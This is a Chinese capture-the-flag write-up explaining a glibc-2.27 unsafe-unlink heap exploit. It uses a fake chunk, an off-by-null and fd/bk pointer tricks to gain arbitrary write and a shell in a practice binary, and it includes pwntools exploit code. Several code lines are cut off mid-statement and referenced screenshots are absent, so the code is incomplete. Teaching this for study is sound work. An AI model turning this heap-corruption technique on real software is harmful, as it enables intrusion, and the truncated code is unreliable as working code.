而当该块处于空闲状态时,C、D区域用于构造空闲块的双向链表。C区域会被堆管理器自动设置为前向空闲块的地址,D区域被设置为后向空闲块的地址。对于large chunk而言,C、D区域用于指向大小相同的空闲块,E、F区域用于指向大小不同的空闲块。  glibc-2.27中对unlink的实现如下: /* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) {                                            \    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \      malloc_printerr ("corrupted size vs. prev_size");       \    FD = P->fd;       \    BK = P->bk;       \    unlink是在释放某一块时调用的“函数”,本意是将空闲块进行合并形成双向链表,提高空间利用率,但是在安全检查方面存在一些漏洞。在利用过程中,需要绕过两处安全检查(标红和标蓝处)。简单来说,unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。 l 标红处用于检查P的大小是否和下一块的prev_size段相等(即检查此块的B区域表示的大小和下一块的A区域的值是否相等)。 l 标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。 当两处检查均通过时,堆管理器会执行FD->bk = BK与BK->fd = FD,从而将P加入到双向链表中。因此,本题的核心在于如何绕过这两处检查。  漏洞利用 利用思路大致如下: 1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。 2、修改chunkA,在其中精巧地布置出一个chunkD。 3、释放chunkB,并让堆管理器unlink chunkD。 4、修改chunkA,写入任意地址。 5、修改chunkA,实现任意地址写。  ADD, FREE, SET, INSPECT = '1', '2', '4', '5'def operate(op, arg1='A', arg2='A', arg3='A'):    global io    io.recvuntil('e:\n')    io.sendline(op)    if op == '1':        # squeeze()        io.recvuntil('color:\n')        if len(arg1) < 32:            io.sendline(arg1)        else:            io.se 首先定义一个operate函数,用于处理各类请求信息,将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用:  1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。 operate(ADD) #chunkAoperate(ADD) #chunkBoperate(ADD) #chunkC 使用gdb查看内存情况:  之所以使用3个chunk,是为了防止free chunkB的时候其与top chunk合并。 然后以chunkA为例,查看它的内容:  可见该chunk大小为0x500、前一个chunk处于使用中。(之后的截图为多次运行程序所截,由于开启了ASLR,所以堆的地址会发生改变,但内容是一致的,不影响阅读)  2、修改chunkA,在其中精巧地布置出一个chunkD。 chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk,我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意,用户申请的chunkA指向chunkA的data段,我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节,那么对应了chunkD的A、B、C、D区域(前文所述)。如何填充这四个区域呢? 首先关注B区域。由于chunkD是chunkA内的一块,且其元数据区的地址在chunkA的数据区,所以它的大小应该是chunkA-16,即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉,这里将前一块标记为使用中,所以B区域填充0x4f1。那么A区域是属于chunkA的,可以填充任意值,此处填0。 C、D区域是chunkD的fd、bk指针,是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址,而chunkA的数据区地址正好是malloc chunkA时获得的,其保存在全局变量your_palette[0]中。 由于程序没有开启PIE,所以可以通过objdump直接获取全局变量的地址。  这里就利用了unlink中的一个漏洞:它默认fd和bk都指向了合法的chunk地址,所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk,然后取偏移量24字节和16字节,并将其视为合法的bk和fd。而如果fd、bk是用户可控的,那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16,那么fd->bk和bk->fd都会指向your_palette[0],即为chunkA的data段,即为chunkD的元数据地址,从而实现了绕过检查。此时0x1160670为chunkD的元数据地址,chunkD的fd、bk被设置为0x6020c  接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区(即chunkB的A区域)填充padding与chunkD的大小。这里需要完全填充ingredient区域,以触发前文提到过的off-by-null漏洞,从而将chunkB的PREV_INUSE位置0,使得chunkD被视作空闲块。  可见0x1160b68处的0x501被修改为0x500,且其prev_size段被设置为0x4f0。 palette_addr = 0x6020c0secret_button_addr = 0x6020a0payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)payload2 = b'\x00' * 0x4d0 + p64(0x4f0)operate(SET, 1, payload1, payload2)  3、释放chunkB,并让堆管理器unlink chunkD。 释放掉chunkB后,查看your_palette内容,可见your_palette[0]被设置为0x6020a8,这是因为unlink成功,执行了BK->fd = FD。这里注意到,chunkA仍然是一个使用中的chunk,但它指向了全局数据区。那么此后调用mix时,将向此处写入新的数据。这里需要注意到,写入的第24-32字节会重新覆盖your_palette[0],也就是说可以再次指向另一个地址,而这个地址就是用户任意写入的了。  operate(FREE,2)  4、修改chunkA,写入任意地址。 这里直接写入secret_button的地址,并调用mix函数。  payload = b'\x00' * 24 + p64(secret_button_addr)operate(SET, 1, payload)  5、修改chunkA,实现任意地址写。 secret_button只需非0即可,这里写入1。  operate(SET, 1, p64(1))  最后简单调用inspect即可getshell。   完整exp代码 from pwn import * binary_file = './a.out'io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})lib = ELF('./libc-2.27.so')proc = ELF(binary_file) palette_addr = 0x6020c0secret_button_addr = 0x6020a0button = 1ADD, FREE, SET, INSPECT = '1', '2', '4', '5'  def operate(op, arg1='A', arg2='A', a  说明 编译源程序:gcc unsafe_unlink.c -no-pie